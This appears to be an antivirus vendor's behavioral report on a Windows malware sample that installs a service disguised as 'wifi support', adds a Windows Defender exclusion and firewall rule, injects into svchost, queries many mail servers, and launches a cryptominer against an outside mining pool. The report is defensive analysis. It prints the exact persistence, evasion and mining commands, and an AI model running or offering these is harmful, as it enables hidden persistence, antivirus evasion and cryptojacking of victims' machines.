Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\ohceemne] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ohceemne] 'ImagePath' = '%WINDIR%\SysWOW64\ohceemne\xcmhbnkm.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\ohceemne] 'ImagePath' = '%WINDIR%\SysWOW64\ohceemne\xcmhbnkm.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ohceemne' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\xcmhbnkm.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\xcmhbnkm.exe to %WINDIR%\syswow64\ohceemne\xcmhbnkm.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK lu##nt.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ao#.com
- DNS ASK an#####m.itcreation.nl
- DNS ASK al####ypotheken.nl
- DNS ASK google.com
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK ma##ower.nl
- DNS ASK tr###x.com.ar
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK wf##mc.edu
- DNS ASK ho###il.co.uk
- DNS ASK mx.##.#topenworld.com
- DNS ASK bt###nworld.com
- DNS ASK al######x-vip2.prodigy.net
- DNS ASK sb###obal.net
- DNS ASK ho##ail.de
- DNS ASK mx######71101.pphosted.com
- DNS ASK gs#.#arvard.edu
- DNS ASK pb####dleeast.com
- DNS ASK as#####20.oracle.com
- DNS ASK ya##o.ca
- DNS ASK mu##oka.com
- DNS ASK em######tings.firetrust.com
- DNS ASK mx.##deotron.ca
- DNS ASK vi###tron.ca
- DNS ASK mx###.owm.bell.net
- DNS ASK sy###tico.ca
- DNS ASK co###alnet.com
- DNS ASK mx#########st-2.prod.hydra.sophos.com
- DNS ASK fr##n.com
- DNS ASK go###e.co.uk
- DNS ASK mx###03.web.de
- DNS ASK we#.de
- DNS ASK bo###il.tfn.com
- DNS ASK il#.com
- DNS ASK mi###abd.com
- DNS ASK sa##am.com
- DNS ASK ms#.#inet.net
- DNS ASK mx#.#omcast.net
- DNS ASK co##ast.net
- DNS ASK mx#.#ianet.ca
- DNS ASK wi###ams.edu
- DNS ASK or##le.com
- DNS ASK alt1.gmail-smtp-in.l.google.com
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK cl######.us.messagelabs.com
- DNS ASK ti.com
- DNS ASK ms#####.##c.protection.outlook.com
- DNS ASK ms#.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK mx#.##rthlink.net
- DNS ASK mc#.net
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK mi####.bittubeapp.com
- DNS ASK ho##ail.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK mx#.###oitte.iphmx.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK de###tte.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ya##o.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ho##ail.it
- DNS ASK us.#bm.com
- DNS ASK fm#####.##il.protection.outlook.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK fm#.com
- DNS ASK sm####n.orange.fr
- DNS ASK or##ge.fr
- DNS ASK sp##.tsu.edu
- DNS ASK ts#.edu
- DNS ASK in###ninfo.com
- DNS ASK ul#.edu
- DNS ASK ASPMX.L.GOOGLE.COM
- DNS ASK sb##.edu
- DNS ASK ba######a.cloud.shentel.net
- DNS ASK sh##tel.net
- DNS ASK sm##.##b.shawcable.net
- DNS ASK sh#w.ca
- DNS ASK ma##.#ulgaria.com
- DNS ASK ba####us.efor.es
- DNS ASK gr###ilssa.com
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK ms##.hinet.net
- DNS ASK gm##l.com
- DNS ASK go##le.ru
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\ohceemne\xcmhbnkm.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ohceemne\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\xcmhbnkm.exe" %WINDIR%\SysWOW64\ohceemne\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create ohceemne binPath= "%WINDIR%\SysWOW64\ohceemne\xcmhbnkm.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description ohceemne "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start ohceemne' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ohceemne\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\xcmhbnkm.exe" %WINDIR%\SysWOW64\ohceemne\
- '%WINDIR%\syswow64\sc.exe' create ohceemne binPath= "%WINDIR%\SysWOW64\ohceemne\xcmhbnkm.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description ohceemne "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start ohceemne
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs2vRiVmw72dvArkbJKbtz917RXckezk9W9STXQKq1SFKmQAbfF24KkWUNqxeNZHaDJftC49YzUhiDSPSYZtn1BR2R2Z3K3Fw.60000 -p x -k
